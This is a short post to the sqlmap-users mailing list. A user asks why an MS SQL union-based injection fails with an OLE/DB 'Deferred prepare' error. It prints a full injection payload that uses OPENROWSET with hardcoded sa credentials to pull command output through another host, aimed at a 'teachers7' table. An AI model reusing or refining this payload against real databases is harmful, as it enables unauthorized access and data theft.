[sqlmap-users] error with ms sql

[Adi M. <adi...@ya...>]

I'm having an injection like this:
openrowset in a union (I've managed to do a SELECT @@version on 192.168.1.4)

-1 union all select '1','2','3','4','5','6','7','8','9','10','11','12',  ( select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=1234;Network=;Address=192.168.1.4;timeout=5','select output from resultbcd')),'aaa','15','16','17','18','19','20','21' from teachers7 where id=808


and when I try to select form resultabcd i get:
[OLE/DB provider returned message: Deferred prepare could not be completed.]


could not find a good answer with google. Thanks.

Kind regards,
A.